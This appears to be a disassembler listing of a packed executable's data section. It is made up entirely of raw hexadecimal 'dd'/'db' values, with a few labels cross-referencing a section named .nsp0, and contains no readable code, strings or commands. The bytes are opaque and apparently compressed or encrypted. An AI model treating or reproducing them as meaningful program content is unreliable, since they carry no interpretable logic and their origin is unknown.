dd 7BEF77Ch, 0B0919F0Ah, 6152D91Ah, 55524B59h, 0C016B052h
dd 0D5E3DDAh, 0F65E5A6Bh, 4E10D7Bh, 9DA74FB1h, 0D54554F5h
dd 6CFFA446h, 0F665DC2Bh, 0F25E6CC8h, 9117A79Ah, 0D9E793EEh
dd 0ACA6FF77h, 0D521A2BDh, 0E251D50h, 0E705E15Ah, 657AA854h
dd 0F45ABFD4h, 0EF8B2980h, 807A3BA0h, 3E386367h, 46A4F7BAh
dd 6A47B969h, 9DF484E9h, 0DE61C733h, 13BFF7FAh, 0A4B7319Eh
dd 0FE8F74BFh, 0ACCEDDF9h, 6F329913h, 0EDECB7C0h, 66558A8Eh
dd 49A9283Eh, 472DAA66h, 35051408h, 2AB4AEA4h, 0E66A2831h
dd 0CC2199BEh, 0F028541h
dd 0E97D26DFh, 19D1FC8Dh, 14935D98h, 630473B7h, 9B642395h
dd 73E313B8h, 4EA1ACDDh, 593EB5A1h, 385BC040h, 0ACC86275h
dd 9CF6BF1Fh, 984AAB6Fh, 437AE239h, 0F21F494Fh, 0A6606848h
dd 0CF2FFE28h, 0A85F1AEEh, 0CA750D14h, 8BCE7628h, 0B59EF602h
dd 0A15F401Dh, 50D38AF8h, 32EA16F2h, 0E985CBFBh, 56ACF398h
dd 4C40DA59h, 753EB07Ah, 0D0EB8EC9h, 0D3FAB987h, 3842B6DFh
dd 0BAEEDC0Bh, 742442B9h, 5B5DE1A4h, 7EF57B37h, 54C2E7Fh
dd 41563770h, 0EE3B217Ah, 356A6A7Fh, 7E462DF5h, 75A769C1h
dd 0A83994F1h, 0D3514853h, 2236321Fh, 0CC587E23h, 0DDE63C24h
dd 0E2FC8193h, 0A0ADAC09h, 0F78ECCE1h, 6AA8D739h, 648F2C8Ch
dd 0C2D94865h, 82765402h, 0BD625F9Fh, 4D62F970h, 5FF5F4Ah
dd 0F4AD8D77h, 925CC713h, 0CA091824h, 9E65C2D3h, 0E258A754h
dd 0DF2BC7B8h, 3A462465h, 0AE56AD30h, 1639C0A7h, 6F652EEAh
dd 1A1B59B9h, 815B9D94h, 477B0D27h, 0E9308FCEh, 90FE5E39h
dd 0DB0F92F5h, 749BC7Dh, 0C9A564FDh, 0A9373F6Ah, 0C2EDD52Ch
dd 0A9E31635h, 8C2C37D5h, 0C75754Bh, 3D3A089Ah, 0CB2B8960h
dd 0CA994869h, 0EC5F0D1Eh, 1E9B942Ah, 31F0BB26h, 1DDE3A53h
dd 52EE29EBh, 0E4130B11h, 7D901E44h, 45735415h, 4350E6A9h
dd 45F83A72h, 466ACFE8h, 0CDE2FBD9h, 67DDF211h, 0B69AF6BEh
dd 97B0B83Fh, 5A5E5A0Eh, 7BFC2745h, 171D802Eh, 0D62576E3h
dd 0F2DA091Eh, 2E4BD43Fh, 1806824Bh, 34F586DFh, 0D652A4CCh
dd 16E9D060h, 801B776Dh, 0ED18D9DBh, 0B1821E7Fh, 0FA102512h
dd 0E6B54A95h, 4EEE14DFh, 0AD7CAB05h, 0CF6ABB63h, 0FC57895Bh
dd 0F8EF4BDDh, 15475954h, 97D31283h, 6C19635Ch, 0E691E2B0h
dd 0D10D576Fh, 65867338h, 54BCAA65h, 0B58D5A23h, 7A91BF2Eh
dd 0D039331Bh, 2AB9F340h, 0C2F6C90Dh, 9DE0E1BCh, 0B482D0F4h
dd 0D372421h, 72D7740h, 48BF4B16h, 96941D38h, 979D9EE6h
dd 0E232617Ah, 0EC330FABh, 60E5B09Ah, 2AFEEB0Fh, 2B8ECC99h
dd 0CA8C2C8Fh, 0D07B5FDBh, 0BDBCB9BBh, 88E59CDAh, 5AD9A87Bh
dd 5822A9ACh, 0E7B659C6h, 680FAC31h, 8115591Fh, 660631F8h
dd 4F38A428h, 0C5823636h, 0AD8D539Ah, 0E5CABD19h, 0DE6278Ah
dd 0EAA2A17h, 0AF660671h, 5C6E2857h, 862E1E8Eh, 0CB649196h
dd 48387AAAh, 812923D6h, 72694B03h, 78591B6Dh, 2618424Bh
dd 0F8194F04h, 0A7DB7BC7h, 3DEE8359h, 5857FED2h, 0DB93AA22h
dd 388966B9h, 0C66BEE35h, 18CAEFEh, 0DDAB0A1Eh, 0F25F66A9h
dd 62E7071Ch, 0EADC7FA5h, 0A51CAC8h, 0E1DBE8E9h, 0B72571AAh
dd 134592B7h, 781B5BD9h, 3DAE1772h, 2A3D7082h, 0D9BB8450h
dd 3DE6D321h, 27201098h, 0D26F86Fh, 80354BAh, 6C3A6FE3h
dd 0B7488729h, 0FB8665ABh, 0C1E3B80Fh, 99AA1F8Ah, 1D62388h
dd 7AC2FE5Dh, 188E55FCh, 7809AB3Eh, 0F54552Ch, 65E7D6CAh
dd 407414A3h, 5A264F52h, 0FCAA5639h, 0D187F6FDh, 4DCAC838h
dd 196C38D9h, 648C2B03h, 0DD4D2183h, 7F2F12E3h, 9FA31316h
dd 868795EAh, 564201D8h, 8C6F0441h, 8809CE49h, 47E24F7Ch
dd 41C57EFh, 51A587C4h, 47622BF3h, 4C2E3D90h, 35CA405Eh
dd 0BCD9A5EBh, 8787D054h, 0A75E5653h, 0F0F11F04h, 6E386BD4h
dd 411A3294h, 540493A1h, 0FB36E7C4h, 0B36D868Ch, 7C57A73Fh
dd 82ACB04Bh, 0A714304Dh, 82E823E3h, 9D3FFA5Ch, 2FF53358h
dd 95834DBFh, 4ABE5DB2h, 0DE32878Ah, 9AA32D02h, 26E03A63h
dd 383A919Eh, 7FFDB1Ah, 9BACE680h, 42ADA704h, 8A7F56A3h
dd 9D8ADA92h, 6E2887FCh, 0A9D1D4E6h, 9B5B87AFh, 0B67CE50Ah
dd 986C420Ch, 9CE83957h, 336CD7C0h, 0FD54A0EAh, 0BE9A55BBh
dd 0FA00D91Bh, 7362D02Bh, 0FBF421DFh, 27EDC3F8h, 1021EB30h
dd 2EC8633Bh, 280044FEh, 58A26867h, 2E497FE7h, 4CDCB319h
dd 6EA5A72Fh, 0D7B7C007h, 77C0FEF8h, 5D5AF706h, 33BA75BEh
dd 2B6FCCF6h, 9E0401F9h, 6397D5FBh, 5E14C253h, 0AB42B019h
dd 62E63EA9h, 0ABFDC64Bh, 17860660h, 6925FC6Eh, 9B37BB3Ah
dd 0D79389A8h, 1CCA35C8h, 30A116Dh, 2EBC105Ah, 0FDA06825h
dd 52FAE5FBh, 5AA5A907h, 94622316h, 942E0281h, 6041B483h
dd 0C3767768h, 1AFEB7F9h, 4B1E4011h, 7A724E27h, 0E28EBF82h
dd 2316E774h, 213EF785h, 0C78182Ah, 0CD6F8CD8h, 7549C782h
dd 3047C227h, 0D70416EAh, 0A77F6C09h, 0B4F15082h, 689230FEh
dd 0F4149E4Eh, 9EDA7730h, 0E6F7EEA9h, 311B8DF0h, 0F8FD31C7h
dd 0E846B176h, 4F9A8A23h, 32B82D0h, 736E6DF5h, 143DED77h
dd 0CA473C41h, 0BB0E1E0Bh, 0D87167A9h, 0C7F7E283h, 47D7C6F5h
dd 63314B12h, 0B493FE35h, 3FBF9052h, 0EEAB81EDh, 0FB470041h
dd 0BB76BF7Bh, 0D62D11EDh, 0FD86043Eh, 112EE445h, 0E04E0CCCh
dd 905A8E14h, 0E18F3B6Fh, 4B231540h, 0E395CDAAh, 40472114h
dd 20BF0C6Dh, 631F7212h, 22AB40CDh, 2E9C5140h, 585AE55Ch
dd 21655543h, 60BFA0A3h, 0CC1E1A17h, 464F4D9Fh, 6CD161E5h
dd 221E87F3h, 5C2CFE85h, 0F2B5AECFh, 0CE640FEBh, 0D1DAD95h
dd 511B8F6Fh, 0A91CF07Fh, 740068D5h, 0D38EA0A3h, 0DDE6D94Fh
dd 0FA285743h, 5FC0B51Dh, 7D46F909h, 0FF816453h, 7FA5C53Dh
dd 0A7FC01E4h, 150251A5h, 692C444Bh, 0D6653872h, 0D8AD0B16h
dd 0A9108A3Ch, 7E84BFAEh, 0D5C9D0FEh, 79387636h, 2B90966Ah
dd 0FA987442h, 2EEC0534h, 73EF7EF2h, 0EF920A05h, 0EA2EEDFAh
dd 9749F3C5h, 0FC51475Fh, 192293F3h, 9B17E079h, 3462843Fh
dd 501B282Dh, 8F760F0Bh, 6BB3335Ah, 58AF8CB1h, 0A7A5FA62h
dd 642AE618h, 0DD610133h, 24571392h, 0EA4B0D81h, 9FA593D6h
dd 7D41343Ch, 293AF773h, 74FFF9E9h, 37DF4BEEh, 1B1CA5Fh
dd 0F2892597h, 8827862h, 9F2AE80Dh, 0EBD853D2h, 5404EA7h
dd 0FC6DDC63h, 0EBF30EFBh, 0A8FC9813h, 0FC416318h, 32517ACBh
dd 51BC561Eh, 65CC6CC2h, 471D99B2h, 0B5444E8Ch, 0A316622h
dd 0CD6BA598h, 3A05508Ch, 7E36D377h, 4F2E5C3Bh, 0C7D45C96h
dd 3ABC5BC9h, 2C97B97Dh, 0FA509B84h, 13F5C3E7h, 43A2FFEh
dd 247261E0h, 0F44AC32Bh, 0C5F9BC81h, 7A9C8B76h, 76FC2DE4h
dd 870FE06Bh, 0A52E67DAh, 2EA8CC3Eh, 9F08F0D3h, 426F3BAAh
dd 80024332h, 790DA5F1h, 0E80EADBBh, 4EA0C9CDh, 0F5907D8Ch
dd 0A446CD1Bh, 0C5F4B71Eh, 43048284h, 0F2AB9878h, 0A92BE50Fh
dd 987C1F56h, 0CF95FF83h, 1137AF52h, 0AE0897B9h, 15B98895h
dd 23BBFC5Fh, 6F47A61Ch, 7C4A5A06h, 0A04D1A90h, 1B3C9FFFh
dd 8E737E57h, 0B908471Dh, 4CC99F27h, 2D61398Dh, 0D0BC269h
dd 0AFE9F63h, 0E6239CADh, 5637D92Eh, 1FDD443Ch, 899E128Eh
dd 2BD5B32h, 1545214Ch, 5C94AFE1h, 365401C7h, 0D3EA41C7h
dd 0CB30836Ch, 0DB0C9DD1h, 0BCC2F1ADh, 0F276C78Eh, 7A3B66F6h
dd 19E9B998h, 345DFE72h, 0F50F815Fh, 7B038470h, 0B7D69B6Ah
dd 2E3D97F0h, 446E178Ch, 0FC98A32Fh, 51354DBCh, 0F42A41E0h
dd 0C8A8D38Ch, 1801238Fh, 81FD0F0Eh, 0E25384ACh, 0FF105DACh
dd 64F98B70h, 5477C0DDh, 0EB19B680h, 0E823AD72h, 0EAB05A05h
dd 8F6D6ED3h, 0E051ED30h, 0C9573DB1h, 0E5E3CF89h, 0B6C3EDDDh
dd 566ADAA1h, 3EFCF6EFh, 8E1D42F8h, 25B88F32h, 9ED56787h
dd 6C4E9A09h, 8DA82D99h, 20C35573h, 6B3F319h, 0B0A691D6h
dd 42177B47h, 0B79D1E92h, 23AA1283h, 0DB76D313h, 80E642FCh
dd 84293F8Ah, 0F3069068h
dd 6788A18Ah, 0ABF14BD4h, 26A9D00Fh, 6F514664h, 36E53031h
dd 5605D567h, 6B299C0Fh, 3328C488h, 9C535F1h, 62F909D7h
dd 76A97869h, 9DF1C91Dh, 86D55DD7h, 0FB14870Bh, 0E2858D87h
dd 77DA8273h, 0D1ABC19h, 33F65ACh, 41B11CDDh, 67F2E17Fh
dd 6E9000DDh, 79AF7582h, 0F10A5B90h, 25E12DE8h, 44278876h
dd 0D6453D2Ch, 0AA87BFAEh, 0FEDDCC1h, 0C493C8F0h, 0C662F5D7h
dd 109040A6h, 5A0EFDBFh, 0BBBA3EC4h, 0C8BEC7ADh, 6931AD9Bh
dd 904DD3D9h, 0B9F723F6h, 0D1AA9F8Ch, 54FC4B75h, 0F71BE4AFh
dd 0EC581F9Bh, 0F1C6E7D1h, 3E66012Bh, 2552CB69h, 0C3BC4218h
dd 2B5A0904h, 6EDE4963h, 8E9678E7h, 1BEF88E6h, 7EB7292Ch
dd 0FD5D69D5h, 216A557Eh, 5244D465h, 0E2CA89EFh, 0BE6CA1ABh
dd 0E8D29178h, 9472D25Ah, 0BD4827D9h, 0EF9B1462h, 0B21B958Fh
dd 0C3934ECDh, 0A82143F1h, 16D02409h, 9C7B2857h, 555AF2FFh
dd 0AC622140h, 2B980AFFh, 18F3001Fh, 0C3236BE4h, 0B70126FDh
dd 300032B1h, 9E4CB40Eh, 0B9C99385h, 0C8735D0h, 61ABF026h
dd 0E8FB59Bh, 201C37E5h, 0EFBF3CD0h, 3C4465DDh, 695F4B04h
dd 5B59B09Ah, 895D92B6h, 5B795h, 26A16951h, 0E1068569h
dd 0E54F82FCh, 0D4E2912Ch, 0E6553A82h, 6AA34B47h, 0DFA57B55h
dd 0B519C180h, 0D799B1BEh, 0B15D2F85h, 0FC9B4C12h, 0EF510998h
dd 0B45AD29Dh, 1E28A874h, 0E33503C1h, 82F03E4h, 211D4568h
dd 2BA425DEh, 0F4E3BBB1h, 0AD66A054h, 9A788867h, 709407EFh
dd 514F160Bh, 87938DC8h, 0B9EB0105h, 1E1AA9EBh, 0BE9958A2h
dd 1D13D61Bh, 5EF286C6h, 54F32286h, 4982D59h, 0D199C789h
dd 5B8A3179h, 0EA560E70h, 94D3C7CBh, 0F0A6EE4Ch, 0C5932127h
dd 0C51CF653h, 9DD7510h, 0F2FF113h, 80ACEC83h, 6EEED018h
dd 4FAEE323h, 668571A8h, 89CD73D9h, 0B57A9778h, 0CB9262FEh
dd 2494EBBAh, 0CE798383h, 2623F8B9h, 386FF85Dh, 40355BE5h
dd 45401D93h, 338CD425h, 92E8920Bh, 4A458F57h, 0EDAA708Eh
dd 7222DCD6h, 23FED36Fh, 0EF72E30h, 1097FEB4h, 0F0B00000h
dd 50125613h, 2892D6Eh, 0BA027F22h, 0EF82C7B0h, 2311FABDh
dd 0BF0611B0h, 11EF1E25h, 8869BBC9h, 950BA100h, 78F1871Ah
dd 0C1D0CEDAh, 0F320A30Ah, 0DEFD32E3h, 0D987FA1Ch, 0F41BAF1Fh
dd 687305DBh, 0F57D1D90h, 37900E54h, 0BC692E19h, 0F92EB3Fh
dd 8A93DF9h, 171C0D54h, 4C63A125h, 0BCBCEB7Ah, 0A8E88FFFh
dd 0A1D6AABh, 0B346BD39h, 0DD303588h, 0D2E1E0B1h, 0CD7DDEEEh
dd 0AD72D7A3h, 3DBDEB90h, 29353F1Eh, 0AE5434A9h, 13B1B32Ch
dd 398D6EAEh, 0A08C2A70h, 0C04DBB18h, 0A6677D87h, 3B8CFEA4h
dd 0AAE8221Ch, 0B4D02456h, 0F69EF231h, 98E7C8A7h, 36F3D19Ah
dd 5530E701h, 5CAFB33Eh, 0E7843CFAh, 4B083D67h, 4B2F916h
dd 839E8B18h, 0F38FAE4Eh, 25CBCC13h, 60FA4EECh, 347349F2h
dd 30F56502h, 0BCA32C89h, 1F42530Bh, 109ECE78h, 0B098CBF4h
dd 60C66664h, 1E63B40Bh, 98412A7Dh, 429EDAAAh, 0C6239859h
dd 0D5534293h, 184AFB17h, 751A019Ah, 61E123B5h, 412CCB49h
dd 0EF7FB6DFh, 7BA7B812h, 0F72373B6h, 37F22E7Ah, 0C22A579Eh
dd 8CE3436Ch, 0A9B60DF6h, 4090C29Eh, 8168C8FAh, 19027BCAh
dd 633EBCE1h, 0C649CD76h, 83537017h, 631F58A5h, 24633E23h
dd 9CDA08B9h, 0E5AA6C2Ch, 1F5B5BC4h, 0F9945FE0h, 0EB09BFBBh
dd 0D32AB76Ah, 6D859B36h, 5C7255FCh, 0CEC78A18h, 0B5EC8BF8h
dd 8E4E3CFh, 1A8A35A9h, 75CAD39Fh, 0D228120Ah, 5DD069DFh
dd 0F855E74Bh, 0D28FD67Bh, 0B7985BF6h, 4710EA8Fh, 5C1FEA99h
dd 1FAF07E9h, 0D04A1FC0h, 32BF6D61h, 0CE32C47Ah, 42A2183Fh
db 41h
byte_520045 db 65h, 72h, 64h ; DATA XREF: .nsp0:0043FD10o
; .nsp0:0043FD28o
dd 5A57C934h
db 91h, 0CDh, 0DFh
byte_52004F db 0C2h ; DATA XREF: .nsp0:00439349o
; .nsp0:00439B59o
dd 0BBEB11DBh, 79BF5E8Ah, 0A37F7B46h, 0F9854863h, 77B4BF5Ch
dd 0C569AC88h, 45397A96h, 0DDCAB3DCh, 81B55869h, 9F9C43FEh
dd 4611A9B1h, 536BFF90h, 3BB552ECh, 0F2DFC493h, 0A47D757Ch
dd 87F0B8ACh, 9EEB30F9h, 4EC1023Bh, 33F0AD07h, 293C7241h
dd 31DBE71Bh, 7A33FD14h, 73F46FD4h, 9EDFBDA7h, 0AEE79A99h
dd 305111FAh, 303B2216h, 8BFDAE24h, 0F6C584CFh, 6D70129Eh
dd 0CC65DE25h, 53278144h, 0E03A87AAh, 0C1AFC7BBh, 0ABC29496h
dd 0AEFCC834h, 3871D13Eh, 5BFD198Dh, 0BFD296E6h, 66771E7Fh
dd 31EECD55h, 60FF185Ah, 99C38964h, 99BD1D95h, 0B77BF20Bh
dd 1729564Bh, 4E25CC6Ch, 2B8A3C41h, 2B22CABCh, 5EB7F8F4h
dd 0A03C496Dh, 53C122EEh, 349FD33Ch, 20602785h, 0A76C2284h
dd 7A457819h, 422A682Eh, 0B0FAA019h, 607D222Ah, 6468562Ch
dd 9DF8DFBFh, 0A08BC849h, 0F2630961h, 8139F4Ch, 0FD271D8h
dd 0C46A18A8h, 7FD1A5D6h, 600D6DFAh, 0DEFE0043h, 672058EBh
dd 25439736h, 8849F152h, 2CA2183Dh, 9A3BDAFh, 39B87CBh
dd 4B261DE9h, 9EB1C9B7h, 7FF529FAh, 2E1FA68Ah, 5926B7BBh
dd 0FEF72A20h, 0EC22C572h, 0D3B7ED8Fh, 8A218A77h, 943A40A7h
dd 0BE261F01h, 0D85C9198h, 60659E78h, 0F43C7317h, 1A39359Ch
dd 701249F9h, 67BF90BEh, 6AD96068h, 0DC2788EBh, 4B96DF6Ah
dd 38E426Ah, 5D1F33DAh, 782E54F2h, 0BF5A5B3Bh, 0BAE6DBE7h
dd 5FF3FDEDh, 0FCD8C159h, 1BE35429h, 4DFE8EBAh, 0E96B4321h
dd 0FFB4BDF4h, 79C30CBBh, 0E67CD0A7h, 2886BDE4h, 3053D02Bh
dd 1FCACF88h, 948CB179h, 95CFB7B3h, 73E01180h, 5154E606h
dd 0E82F89Bh, 604D3CCAh, 1937471Eh, 0F1700BA1h, 6F9CBAAEh
dd 0F1ED0DF2h, 25CC211Dh, 85E94F76h, 0F3E823E4h, 0D7BD9A32h
dd 1FCB6F18h, 17FC676Bh, 0CD58EF9Fh, 382B019h, 0D68F1A46h
dd 0DFB5A9D2h, 0CA9E5EA5h, 9F500357h, 1CFD9432h, 8FBCAA0Dh
dd 0F6F2616Eh, 2BDCD6CEh, 9C5DD97h, 4F3AE427h, 0E056E1D0h
dd 0C832A605h, 0EF06B128h, 96CD29F0h, 0E9DA343Ah, 0A50AA9E2h
dd 3CBC8D3Fh, 8CCE6DD5h, 0C1751EFCh, 0D0977527h, 93E426F6h
dd 6FBBC10Eh, 75C31049h, 39368DC0h, 96F1ADAEh, 2AA1CE0Dh
dd 0B8B0235Bh, 0FD603A71h, 0FBDA1B78h, 0E54965EEh, 5BC76843h
dd 633BBBBh, 0AC7697D7h, 0E6614702h, 0E5B20E67h, 78FC9BA4h
dd 4AB21087h, 0FB356B08h, 1EFB48Ah, 0ECC9EB68h, 71B0EECAh
dd 0A58C4D55h, 0CCA72A6Dh, 4A5F97C7h, 865D884Fh, 2BE1F2C3h
dd 5C45ADDBh, 3D872C4Eh, 23FF67EEh, 78724406h, 941C2E9Fh
dd 6EF5365Ch, 0C8EFC104h, 0A598B36Ch, 0CD56F14Bh, 0D1B45611h
dd 18A958E9h, 7A0363DCh, 0B9BA34A5h, 995C6600h, 24AE9936h
dd 0F587738Ch, 68796889h, 0DFD51F58h, 255AC312h, 3EB5F1A8h
dd 0A98FA677h, 37A5B42Bh, 0C9DB2473h, 0DCD1DBADh, 0A635FE2Eh
dd 84985528h, 0F1C7F2BDh, 0CB0A2A8Fh, 3119EE7Bh, 0E828F4E9h
dd 3A940E5Ch, 0A9EE6B52h, 94DA239Bh, 0E12319DAh, 0AE988303h
dd 5F337FF2h, 0EB1ED5DEh, 0E30638A8h, 1FC59CD7h, 0ED6B689Bh
dd 2A12DB77h, 341ED2C5h, 0A9C671D9h, 17F6AD1Fh, 91E85F4Ch
dd 5AECFE96h, 0C1A9486Ah, 6473335Ch, 77A8870Fh, 0B79EDA7Ah
dd 7DAEF2A6h, 0DE3DDF0Fh, 5BCE9A65h, 3426EF62h, 8E7FA580h
dd 2AFE9AE5h, 9A86D353h, 0CEDD319Dh, 0F4BEB55h, 0DC1038BAh
dd 38E51167h, 709E113Ch, 235A63EEh, 0A8AE9AEh, 0A59C600Dh
dd 0E77C6EBh, 68E7E19Eh, 9A017E93h, 0E2EBD00Fh, 759B6F27h
dd 54137842h, 0B5A3E5F9h, 961013F4h, 669D3936h, 10392E10h
dd 73A8BE36h, 236A38Ah, 0FD698551h, 1296A77Fh, 9BD2A94Bh
dd 5B995ADEh, 0D1AA4CCFh, 5736BB00h, 31939776h, 8635E121h
dd 74D56E8Ah, 0E1FA15BBh, 0FE627194h, 6CB002C5h, 0DBF5BEB4h
dd 2540C88Bh, 8C6C37D9h, 62ABE44Ch, 78A2810Ah, 8867F2E6h
dd 0E193286Ch, 0F3354DC7h, 0EECDC560h, 27B076E6h, 0EEEB92B9h
dd 575B69DCh, 0D35D2E3Ah, 2482FAB2h, 0EBA64444h, 97C75Bh
dd 0E5F6DDDFh, 8F67B9EAh, 9BB5343Dh, 1AE19E83h, 0CC541CDAh
dd 364806DDh, 0A4F51D3Fh, 73FE4A0Bh, 0E7DEA03Bh, 77CB7158h
dd 3A6D0AE0h, 0BBFF1902h, 1508F8E0h, 0D2B706Dh, 0AE23987Bh
dd 457DE18Eh, 0CF13686Ch, 0F296B186h, 0EB55A1D3h, 701D475Fh
dd 1ECF3852h, 1EFB2785h, 9DE358C4h, 0C896C5EBh, 2442733Dh
dd 0DB356756h, 0F9D123E1h, 0EB0DBEABh, 634F6AF6h, 389D08C6h
dd 0B2AC727Dh, 8CE6C27Eh, 0B25C4112h, 4B76181Bh, 0AE702233h
dd 6670D3F1h, 0B1098155h, 0D3C1580Ch, 0A47C4D9Ah, 0EEE8FE38h
dd 636E6992h, 0CE61A7DFh, 9FA4068Ch, 69266CD8h, 537B10EAh
dd 3F5C4A85h, 59042236h, 38A1A1CEh, 6F508E72h, 0CC5947B6h
dd 15A54FBCh, 19FBBEF0h, 0A2D537CCh, 7C3B1AFBh, 56AFD68Ch
dd 8439D65Dh, 0C1889104h, 646970EFh, 0E33A0D31h, 0BCB14C3Eh
dd 0DEDC2507h, 0F5BDD4DCh, 0EA6D66DDh, 0D184124Bh, 61F3D9BEh
dd 9C57B826h, 5AE13F6Eh, 0C4C61769h, 0DE39309Eh, 0B310BDF2h
dd 0A6F04B3Bh, 0C7F7A8C4h, 2B8D81D7h, 94768A5Eh, 96E0AEA6h
dd 4781191Eh, 8BFE6ED7h, 4168ADFBh, 0F7EB399Dh, 0DFB1B2Bh
dd 4991FB6Dh, 815A7751h, 0AE75879Fh, 7A88BC60h, 681745Dh
dd 8C9CA526h, 43888A6h, 0A51B0851h, 18ABBEF6h, 2134FCC9h
dd 4CA8C74Dh, 5043D790h, 4FC3F5Ah, 0E64CDAFEh, 3F6EF8E1h
dd 7799390Dh, 835750A0h, 0D7CBCB25h, 3992D1B0h, 0AC198767h
dd 2474E56Dh, 3976B8Ch, 8FF9F226h, 1FA0C5D7h, 0C5903115h
dd 1D0C0529h, 0BB9CD270h, 86F50414h, 72DEE842h, 3AE9B73Eh
dd 18E9B8D1h, 54481886h, 0F15072D0h, 0F042545Ah, 14CC9DD2h
dd 3FC46E0Fh, 8AEAD72Ah, 0EBDF129h, 9054DC57h, 9CFB8136h
dd 88ECB13Ch, 1DA9DA56h, 0C7C58D92h, 643A7C03h, 980C9B9Ah
dd 529ED9ABh, 5F49DD6Ch, 761089FDh, 9DF59C35h, 8630ED3Ch
dd 237874C3h, 544D67C3h, 5EFCA26Ch, 846922C9h, 0D6307C70h
dd 8C6179DBh, 5B68ED2Ah, 0D86AE3D0h, 324DE91Ah, 4D502325h
dd 0CCC6E3DCh, 4DA2A72Ch, 0F5AAE5A1h, 4EA124Bh, 0CD45E7F8h
dd 0CF172DFCh, 9EC790E3h, 0A0DAA75Eh, 38AECDA0h, 0BE4CB9D7h
dd 0E6FEFF29h, 5EFB9D02h, 3DC2FB43h, 9E0E10A4h, 0ECD33994h
dd 57F6F085h, 0C0E37643h, 0CD39890Eh, 0ACA5FB51h, 0EE7DD475h
dd 0F63179C0h, 794E2AB9h, 2844EC90h, 1A1AEC6Dh, 4875DBC9h
dd 6F6C2F06h, 1502FC12h, 80D4DBA9h, 0ADCF0B66h, 0E893CEFDh
dd 2AA0D292h, 3ACB790Bh, 735F2222h, 0DA3038Ah, 9BB16CA9h
dd 8C030037h, 4E20CD0Ah, 3CE87BD8h, 0A8692571h, 2648F59Ch
dd 2DDE6854h, 5CE3999Ah, 0C50AFBEDh, 42C33FD5h, 6A6C631Ch
dd 0D21C1CADh, 8DD9551h, 1AF07AF2h, 2EEB3738h, 0AE4E595Eh
dd 0FCB1E0A8h, 683B60C5h, 5FC31DE5h, 0AD06B0E8h, 0DABDD827h
dd 0DE5D36B6h, 0E1B209C6h, 2ADE3CFh, 2244A610h, 1D0FACA1h
dd 0C2D45F2Bh, 664DC964h, 12FF88ECh, 0A492428Fh, 11B282CEh
dd 2423A5ABh, 0F81CFB38h, 0D91418B7h, 0DF51291h, 4A3A5245h
dd 1E9BE516h, 66629FFh, 1498096Eh, 6231FAABh, 353DEF07h
dd 0C5567EB9h, 0F8E352A2h, 0FECE122Ch, 0AC42CD64h, 80627FDh
dd 61FAC82Ch, 0FD90EE8Bh, 0E6542162h, 0E74A62C6h, 6A0C7F7Fh
dd 8D57216Eh, 93D0F034h, 92460504h, 37E11318h, 8249D834h
dd 0B2E030Fh, 72366D6Fh
dd 0A3C74621h, 30AAAB58h, 0AF154F64h, 1847B850h, 45D658Bh
dd 0ECC94A14h, 0ADA9E2DBh, 66BDD5A6h, 837E1ED1h, 3DCB2C01h
dd 0E3019CF6h, 81A3DFEDh, 0FC8DEDA0h, 0AF99206Fh, 498116C8h
dd 99908DF8h, 6DEBD77h, 3E8F74A7h, 8AED048Ch, 0E289A6A8h
dd 5A8CA6D6h, 97B0D6EDh, 0D676FCC3h, 2318AE4h, 0A946DB1Dh
dd 0FCCF1E16h, 0BDED426h, 0A02FC5A7h, 527C7AD2h, 0DE3BDFF6h
dd 0D42BBD4Fh, 736DF83Dh, 379587ECh, 0EDD8A973h, 866C26ABh
dd 0F3DC6F55h, 706E3D03h, 515585F8h, 137929A7h, 0B2EAE124h
dd 183FE94Fh, 0C6CDFFD3h, 0CCD6CF3h, 50C33A17h, 478B951Eh
dd 20BFFA30h, 6E0A9F1h, 4BDFBEC4h, 2225EF0Fh, 0F79CD15Eh
dd 351BBFF9h, 24C52F87h, 0CB6983C3h, 4D1ACA84h, 2FDC9FAAh
dd 8C4F5E4Eh, 0A21688E8h, 73570C77h, 45B2EF42h, 0E5DF0146h
dd 0C24432DBh, 5B7A0FD1h, 1A413958h, 237FD610h, 63827B94h
dd 4A7CD8F0h, 6DA89059h, 2F57BDA5h, 2E6D4ACDh, 1A867CDEh
dd 0E542A4F6h, 9C9709D6h, 0FE50B8B7h, 4AC76352h, 56C7A934h
dd 443D84C3h, 0BCF48915h, 0A241FA20h, 0E21FB009h, 9B8FD5E9h
dd 149DEAEAh, 945106C7h, 4CD6B78Eh, 0ED071832h, 728EE152h
dd 2E9DB303h, 0A37C9E34h, 22BB3D8Fh, 6FA9E695h, 14F731ABh
dd 7769BE8Eh, 0EEAC4C97h, 5A74A5F8h, 3DD03853h, 9E8896BCh
dd 0A7727388h, 0BAA1D22Fh, 7CEC17C4h, 0ED9DE104h, 103D6164h
dd 5B95A63Eh, 0EEDBD18h, 7DE7BC8h, 75318C65h, 270CCB9Dh
dd 0EE12FA34h, 0D9255718h, 0A245F013h, 0A7AE2790h, 1062982Fh
dd 0F0E7145Ch, 4FBB65F7h, 18EB06E4h, 978E70F2h, 0B74BAF76h
dd 655BA1F7h, 0BF353A17h, 0ED0D5A24h, 2B5FE3EEh, 7EFF4270h
dd 3DFF027Bh, 0FC498DF8h, 409BED14h, 0FABD8835h, 0DF3862CCh
dd 2B5456D4h, 62D33576h, 3B36F35Fh, 0F08EC3D9h, 954704DCh
dd 1A9CCE56h, 28B65DADh, 0A0EF0C4Dh, 0FFEE44E1h, 0EC1F921Dh
dd 486C7242h, 0D6B98E08h, 1E2EEBAEh, 8847AABFh, 3E03C474h
dd 0F8AEFC19h, 47684621h, 0D1F2C9AFh, 23529D55h, 0D8891DA2h
dd 348693ABh, 0E91113B9h, 58E57A21h, 3F8BB1C9h, 7F0EF745h
dd 3DB285E6h, 5984A9D7h, 445C8F23h, 0A95F0E72h, 72A34853h
dd 6DA01B9Dh, 1DE126D1h, 0B49D0CF1h, 831CD886h, 0F3D59FCCh
dd 0DC791749h, 56A5BB57h, 0A5C1F164h, 0EF338F53h, 2DB3DEE5h
dd 77FE9B9Bh, 0A8571135h, 9DBEA0AEh, 1A3FBA0Ch, 0A37FF3E6h
dd 65D2D7FCh, 4DF83149h, 90DF2889h, 530E6CADh, 316E9268h
dd 0FB7F88DFh, 5F335B8Ch, 6A13D17Ah, 0E31008D8h, 4E60956Ch
dd 0B1154E9Fh, 0B8C2F11h, 9FE93040h, 0A0CA78BDh, 0EF8118A8h
dd 0D35752F4h, 0E928C814h, 2809D817h, 5DA22F3Eh, 0D6428556h
dd 87273E2Ah, 4D1EC728h, 0E1CEA33Eh, 0D2135E2h, 7D0968DAh
dd 6DAF6B8Dh, 836B77Bh, 63478F00h, 7CE94DE9h, 0A6DEF436h
